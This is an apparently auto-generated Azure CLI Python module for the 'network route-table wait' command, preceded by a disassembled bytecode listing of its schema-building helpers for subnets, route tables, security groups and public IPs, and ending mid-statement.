LOAD_ATTR network_interfaces LOAD_ATTR Element LOAD_ATTR properties LOAD_ATTR dns_settings LOAD_ATTR applied_dns_servers STORE_FAST applied_dns_servers LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST applied_dns_servers STORE_ATTR Element LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties LOAD_ATTR network_interfaces LOAD_ATTR Element LOAD_ATTR properties LOAD_ATTR dns_settings LOAD_ATTR dns_servers STORE_FAST dns_servers LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST dns_servers STORE_ATTR Element LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties LOAD_ATTR network_interfaces LOAD_ATTR Element LOAD_ATTR properties LOAD_ATTR ip_configurations STORE_FAST ip_configurations LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST ip_configurations STORE_ATTR Element LOAD_FAST cls LOAD_METHOD _build_schema_network_interface_ip_configuration_read LOAD_FAST ip_configurations LOAD_ATTR Element CALL_METHOD POP_TOP LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties LOAD_ATTR network_interfaces LOAD_ATTR Element LOAD_ATTR tags STORE_FAST tags LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST tags STORE_ATTR Element LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties LOAD_ATTR security_rules STORE_FAST security_rules LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST security_rules STORE_ATTR Element LOAD_FAST cls LOAD_METHOD _build_schema_security_rule_read LOAD_FAST security_rules LOAD_ATTR Element CALL_METHOD POP_TOP LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties LOAD_ATTR subnets STORE_FAST subnets LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST subnets STORE_ATTR Element LOAD_FAST cls LOAD_METHOD _build_schema_subnet_read LOAD_FAST subnets LOAD_ATTR Element CALL_METHOD POP_TOP LOAD_FAST _schema_network_security_group_read LOAD_ATTR tags STORE_FAST tags LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST tags STORE_ATTR Element LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR location LOAD_FAST _schema STORE_ATTR location LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR tags LOAD_FAST _schema STORE_ATTR tags LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR type LOAD_FAST _schema STORE_ATTR type LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR location LOAD_FAST _schema STORE_ATTR location LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR tags LOAD_FAST _schema STORE_ATTR tags LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR type LOAD_FAST _schema STORE_ATTR type LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_public_ip_address_read STORE_FAST _schema_public_ip_address_read LOAD_FAST _schema_public_ip_address_read STORE_FAST public_ip_address_read LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST public_ip_address_read STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST public_ip_address_read STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST public_ip_address_read STORE_ATTR location LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST public_ip_address_read STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST public_ip_address_read STORE_ATTR properties LOAD_GLOBAL AAZDictType CALL_FUNCTION LOAD_FAST public_ip_address_read STORE_ATTR tags LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST public_ip_address_read STORE_ATTR type LOAD_FAST _schema_public_ip_address_read LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZObjectType LOAD_CONST 'dnsSettings' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR dns_settings LOAD_GLOBAL AAZIntType LOAD_CONST 'idleTimeoutInMinutes' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR idle_timeout_in_minutes LOAD_GLOBAL AAZStrType LOAD_CONST 'ipAddress' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR ip_address LOAD_GLOBAL AAZObjectType LOAD_CONST 'ipConfiguration' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR ip_configuration LOAD_FAST cls LOAD_METHOD _build_schema_ip_configuration_read LOAD_FAST properties LOAD_ATTR ip_configuration CALL_METHOD POP_TOP LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZStrType LOAD_CONST 'publicIPAllocationMethod' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR public_ip_allocation_method LOAD_GLOBAL AAZStrType LOAD_CONST 'resourceGuid' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR resource_guid LOAD_FAST _schema_public_ip_address_read LOAD_ATTR properties LOAD_ATTR dns_settings STORE_FAST dns_settings LOAD_GLOBAL AAZStrType LOAD_CONST 'domainNameLabel' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST dns_settings STORE_ATTR domain_name_label LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST dns_settings STORE_ATTR fqdn LOAD_GLOBAL AAZStrType LOAD_CONST 'reverseFqdn' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST dns_settings STORE_ATTR reverse_fqdn LOAD_FAST _schema_public_ip_address_read LOAD_ATTR tags STORE_FAST tags LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST tags STORE_ATTR Element LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR location LOAD_FAST _schema STORE_ATTR location LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR tags LOAD_FAST _schema STORE_ATTR tags LOAD_FAST cls LOAD_ATTR _schema_public_ip_address_read LOAD_ATTR type LOAD_FAST _schema STORE_ATTR type LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR location LOAD_FAST _schema STORE_ATTR location LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR tags LOAD_FAST _schema STORE_ATTR tags LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR type LOAD_FAST _schema STORE_ATTR type LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_route_table_read STORE_FAST _schema_route_table_read LOAD_FAST _schema_route_table_read STORE_FAST route_table_read LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST route_table_read STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST route_table_read STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST route_table_read STORE_ATTR location LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST route_table_read STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST route_table_read STORE_ATTR properties LOAD_GLOBAL AAZDictType CALL_FUNCTION LOAD_FAST route_table_read STORE_ATTR tags LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST route_table_read STORE_ATTR type LOAD_FAST _schema_route_table_read LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZListType CALL_FUNCTION LOAD_FAST properties STORE_ATTR routes LOAD_GLOBAL AAZListType CALL_FUNCTION LOAD_FAST properties STORE_ATTR subnets LOAD_FAST _schema_route_table_read LOAD_ATTR properties LOAD_ATTR routes STORE_FAST routes LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST routes STORE_ATTR Element LOAD_FAST _schema_route_table_read LOAD_ATTR properties LOAD_ATTR routes LOAD_ATTR Element STORE_FAST _element LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR properties LOAD_FAST _schema_route_table_read LOAD_ATTR properties LOAD_ATTR routes LOAD_ATTR Element LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZStrType LOAD_CONST 'addressPrefix' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR address_prefix LOAD_GLOBAL AAZStrType LOAD_CONST 'nextHopIpAddress' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR next_hop_ip_address LOAD_GLOBAL AAZStrType LOAD_CONST 'nextHopType' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR next_hop_type LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_FAST _schema_route_table_read LOAD_ATTR properties LOAD_ATTR subnets STORE_FAST subnets LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST subnets STORE_ATTR Element LOAD_FAST cls LOAD_METHOD _build_schema_subnet_read LOAD_FAST subnets LOAD_ATTR Element CALL_METHOD POP_TOP LOAD_FAST _schema_route_table_read LOAD_ATTR tags STORE_FAST tags LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST tags STORE_ATTR Element LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR location LOAD_FAST _schema STORE_ATTR location LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR tags LOAD_FAST _schema STORE_ATTR tags LOAD_FAST cls LOAD_ATTR _schema_route_table_read LOAD_ATTR type LOAD_FAST _schema STORE_ATTR type LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_security_rule_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_security_rule_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_security_rule_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_security_rule_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_security_rule_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_security_rule_read STORE_FAST _schema_security_rule_read LOAD_FAST _schema_security_rule_read STORE_FAST security_rule_read LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST security_rule_read STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST security_rule_read STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST security_rule_read STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST security_rule_read STORE_ATTR properties LOAD_FAST _schema_security_rule_read LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZStrType LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR access LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST properties STORE_ATTR description LOAD_GLOBAL AAZStrType LOAD_CONST 'destinationAddressPrefix' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR destination_address_prefix LOAD_GLOBAL AAZStrType LOAD_CONST 'destinationPortRange' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR destination_port_range LOAD_GLOBAL AAZStrType LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR direction LOAD_GLOBAL AAZIntType CALL_FUNCTION LOAD_FAST properties STORE_ATTR priority LOAD_GLOBAL AAZStrType LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR protocol LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZStrType LOAD_CONST 'sourceAddressPrefix' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR source_address_prefix LOAD_GLOBAL AAZStrType LOAD_CONST 'sourcePortRange' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR source_port_range LOAD_FAST cls LOAD_ATTR _schema_security_rule_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_security_rule_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_security_rule_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_security_rule_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_sub_resource_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_sub_resource_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_sub_resource_read STORE_FAST _schema_sub_resource_read LOAD_FAST _schema_sub_resource_read STORE_FAST sub_resource_read LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST sub_resource_read STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_sub_resource_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_subnet_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_subnet_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_subnet_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_subnet_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_subnet_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_subnet_read STORE_FAST _schema_subnet_read LOAD_FAST _schema_subnet_read STORE_FAST subnet_read LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST subnet_read STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST subnet_read STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST subnet_read STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST subnet_read STORE_ATTR properties LOAD_FAST _schema_subnet_read LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZStrType LOAD_CONST 'addressPrefix' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR address_prefix LOAD_GLOBAL AAZListType LOAD_CONST 'ipConfigurations' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR ip_configurations LOAD_GLOBAL AAZObjectType LOAD_CONST 'networkSecurityGroup' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR network_security_group LOAD_FAST cls LOAD_METHOD _build_schema_network_security_group_read LOAD_FAST properties LOAD_ATTR network_security_group CALL_METHOD POP_TOP LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZObjectType LOAD_CONST 'routeTable' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR route_table LOAD_FAST cls LOAD_METHOD _build_schema_route_table_read LOAD_FAST properties LOAD_ATTR route_table CALL_METHOD POP_TOP LOAD_FAST _schema_subnet_read LOAD_ATTR properties LOAD_ATTR ip_configurations STORE_FAST ip_configurations LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST ip_configurations STORE_ATTR Element LOAD_FAST cls LOAD_METHOD _build_schema_ip_configuration_read LOAD_FAST ip_configurations LOAD_ATTR Element CALL_METHOD POP_TOP LOAD_FAST cls LOAD_ATTR _schema_subnet_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_subnet_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_subnet_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_subnet_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_CONST None RETURN_VALUE
from azure.cli.core.aaz import * @register_command( "network route-table wait", ) class Wait(AAZWaitCommand): """Place the CLI in a waiting state until a condition is met.""" _aaz_info = { "resources": [ [ "mgmt-plane", "/subscriptions/{}/resourcegroups/{}/providers/microsoft.network/routetables/{}", "2015-06-15", ], ] } def _handler(self, command_args): super()._handler(command_args) self._execute_operations() return self._output() _args_schema = None @classmethod def _build_arguments_schema(cls, *args, **kwargs): if cls._args_schema is not None: return cls._args_schema cls._args_schema = super()._build_arguments_schema(*args, **kwargs) _args_schema = cls._args_schema _args_schema.resource_group = AAZResourceGroupNameArg( required=True, ) _args_schema.name = AAZStrArg( options=["-n", "--name"], help="Name of the route table.", required=True, id_part="name", ) _args_schema.expand = AAZStrArg( options=["--expand"], help="Expands referenced resources. Default value is None.", ) return cls._args_schema def _execute_operations(self): self.pre_operations() self.RouteTablesGet(ctx=self.ctx)() self.post_operations() @register_callback def pre_operations(self): pass @register_callback def post_operations(self): pass def _output(self, *args, **kwargs): result = self.deserialize_output(self.ctx.vars.instance, client_flatten=False) return result class RouteTablesGet(AAZHttpOperation): CLIENT_TYPE = "MgmtClient" def __call__(self, *args, **kwargs): request = self.make_request() session = self.client.send_request(request=request, stream=False, **kwargs) if session.http_response.status_code in [200]: return self.on_200(session) return self.on_error(session.http_response) @property def url(self): return self.client.format_url( "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeTables/{routeTableName}", **self.url_parameters ) @property def method(self): return "GET" @property def error_format(self): return "MgmtErrorFormat" @property def url_parameters(self): parameters = { **self.serialize_url_param( "resourceGroupName", self.ctx.args.resource_group, required=True, ), **self.serialize_url_param( "routeTableName", self.ctx.args.name, required=True, ), **self.serialize_url_param( "subscriptionId", self.ctx.subscription_id, required=True, ), } return parameters @property def query_parameters(self): parameters = { **self.serialize_query_param( "$expand", self.ctx.args.expand, ), **self.serialize_query_param( "api-version", "2015-06-15", required=True, ), } return parameters @property def header_parameters(self): parameters = { **self.serialize_header_param( "Accept", "application/json", ), } return parameters def on_200(self, session): data = self.deserialize_http_content(session) self.ctx.set_var("instance", data, schema_builder=self._build_schema_on_200) _schema_on_200 = None @classmethod def _build_schema_on_200(cls): if cls._schema_on_200 is not None: return cls._schema_on_200 cls._schema_on_200 = AAZObjectType() _WaitHelper._build_schema_route_table_read(cls._schema_on_200) return cls._schema_on_200 class _WaitHelper: """Helper class for Wait""" _schema_ip_configuration_read = None @classmethod def _build_schema_ip_configuration_read(cls, _schema): if cls._schema_ip_configuration_read is not None: _schema.etag = cls._schema_ip_configuration_read.etag _schema.id = cls._schema_ip_configuration_read.id _schema.name = cls._schema_ip_configuration_read.name _schema.properties = cls._schema_ip_configuration_read.properties return cls._schema_ip_configuration_read = ( _schema_ip_configuration_read ) = AAZObjectType() ip_configuration_read = _schema_ip_configuration_read ip_configuration_read.etag = AAZStrType() ip_configuration_read.id = AAZStrType() ip_configuration_read.name = AAZStrType() ip_configuration_read.properties = AAZObjectType( flags={"client_flatten": True}, ) properties = _schema_ip_configuration_read.properties properties.private_ip_address = AAZStrType( serialized_name="privateIPAddress", ) properties.private_ip_allocation_method = AAZStrType( serialized_name="privateIPAllocationMethod", ) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", ) properties.public_ip_address = AAZObjectType( serialized_name="publicIPAddress", ) cls._build_schema_public_ip_address_read(properties.public_ip_address) properties.subnet = AAZObjectType() cls._build_schema_subnet_read(properties.subnet) _schema.etag = cls._schema_ip_configuration_read.etag _schema.id = cls._schema_ip_configuration_read.id _schema.name = cls._schema_ip_configuration_read.name _schema.properties = cls._schema_ip_configuration_read.properties _schema_network_interface_ip_configuration_read = None @classmethod def _build_schema_network_interface_ip_configuration_read(cls, _schema): if cls._schema_network_interface_ip_configuration_read is not None: _schema.etag = cls._schema_network_interface_ip_configuration_read.etag _schema.id = cls._schema_network_interface_ip_configuration_read.id _schema.name = cls._schema_network_interface_ip_configuration_read.name _schema.properties = ( cls._schema_network_interface_ip_configuration_read.properties ) return cls._schema_network_interface_ip_configuration_read = ( _schema_network_interface_ip_configuration_read ) = AAZObjectType() network_interface_ip_configuration_read = ( _schema_network_interface_ip_configuration_read ) network_interface_ip_configuration_read.etag = AAZStrType() network_interface_ip_configuration_read.id = AAZStrType() network_interface_ip_configuration_read.name = AAZStrType() network_interface_ip_configuration_read.properties = AAZObjectType( flags={"client_flatten": True}, ) properties = _schema_network_interface_ip_configuration_read.properties properties.load_balancer_backend_address_pools = AAZListType( serialized_name="loadBalancerBackendAddressPools", ) properties.load_balancer_inbound_nat_rules = AAZListType( serialized_name="loadBalancerInboundNatRules", ) properties.primary = AAZBoolType() properties.private_ip_address = AAZStrType( serialized_name="privateIPAddress", ) properties.private_ip_allocation_method = AAZStrType( serialized_name="privateIPAllocationMethod", ) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", ) properties.public_ip_address = AAZObjectType( serialized_name="publicIPAddress", ) cls._build_schema_public_ip_address_read(properties.public_ip_address) properties.subnet = AAZObjectType() cls._build_schema_subnet_read(properties.subnet) load_balancer_backend_address_pools = ( _schema_network_interface_ip_configuration_read.properties.load_balancer_backend_address_pools ) load_balancer_backend_address_pools.Element = AAZObjectType() _element = ( _schema_network_interface_ip_configuration_read.properties.load_balancer_backend_address_pools.Element ) _element.etag = AAZStrType() _element.id = AAZStrType() _element.name = AAZStrType() _element.properties = AAZObjectType( flags={"client_flatten": True}, ) properties = ( _schema_network_interface_ip_configuration_read.properties.load_balancer_backend_address_pools.Element.properties ) properties.backend_ip_configurations = AAZListType( serialized_name="backendIPConfigurations", ) properties.load_balancing_rules = AAZListType( serialized_name="loadBalancingRules", flags={"read_only": True}, ) properties.outbound_nat_rule = AAZObjectType( serialized_name="outboundNatRule", ) cls._build_schema_sub_resource_read(properties.outbound_nat_rule) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", ) backend_ip_configurations = ( _schema_network_interface_ip_configuration_read.properties.load_balancer_backend_address_pools.Element.properties.backend_ip_configurations ) backend_ip_configurations.Element = AAZObjectType() cls._build_schema_network_interface_ip_configuration_read( backend_ip_configurations.Element ) load_balancing_rules = ( _schema_network_interface_ip_configuration_read.properties.load_balancer_backend_address_pools.Element.properties.load_balancing_rules ) load_balancing_rules.Element = AAZObjectType() cls._build_schema_sub_resource_read(load_balancing_rules.Element) load_balancer_inbound_nat_rules = ( _schema_network_interface_ip_configuration_read.properties.load_balancer_inbound_nat_rules ) load_balancer_inbound_nat_rules.Element = AAZObjectType() _element = ( _schema_network_interface_ip_configuration_read.properties.load_balancer_inbound_nat_rules.Element ) _element.etag = AAZStrType() _element.id = AAZStrType() _element.name = AAZStrType() _element.properties = AAZObjectType( flags={"client_flatten": True}, ) properties = ( _schema_network_interface_ip_configuration_read.properties.load_balancer_inbound_nat_rules.Element.properties ) properties.backend_ip_configuration = AAZObjectType( serialized_name="backendIPConfiguration", ) cls._build_schema_network_interface_ip_configuration_read( properties.backend_ip_configuration ) properties.backend_port = AAZIntType( serialized_name="backendPort", ) properties.enable_floating_ip = AAZBoolType( serialized_name="enableFloatingIP", ) properties.frontend_ip_configuration = AAZObjectType( serialized_name="frontendIPConfiguration", ) cls._build_schema_sub_resource_read(properties.frontend_ip_configuration) properties.frontend_port = AAZIntType( serialized_name="frontendPort", ) properties.idle_timeout_in_minutes = AAZIntType( serialized_name="idleTimeoutInMinutes", ) properties.protocol = AAZStrType() properties.provisioning_state = AAZStrType( serialized_name="provisioningState", ) _schema.etag = cls._schema_network_interface_ip_configuration_read.etag _schema.id = cls._schema_network_interface_ip_configuration_read.id _schema.name = cls._schema_network_interface_ip_configuration_read.name _schema.properties = ( cls._schema_network_interface_ip_configuration_read.properties ) _schema_network_security_group_read = None @classmethod def _build_schema_network_security_group_read(cls, _schema): if cls._schema_network_security_group_read is not None: _schema.etag = cls._schema_network_security_group_read.etag _schema.id = cls._schema_network_security_group_read.id _schema.location = cls._schema_network_security_group_read.location _schema.name = cls._schema_network_security_group_read.name _schema.properties = 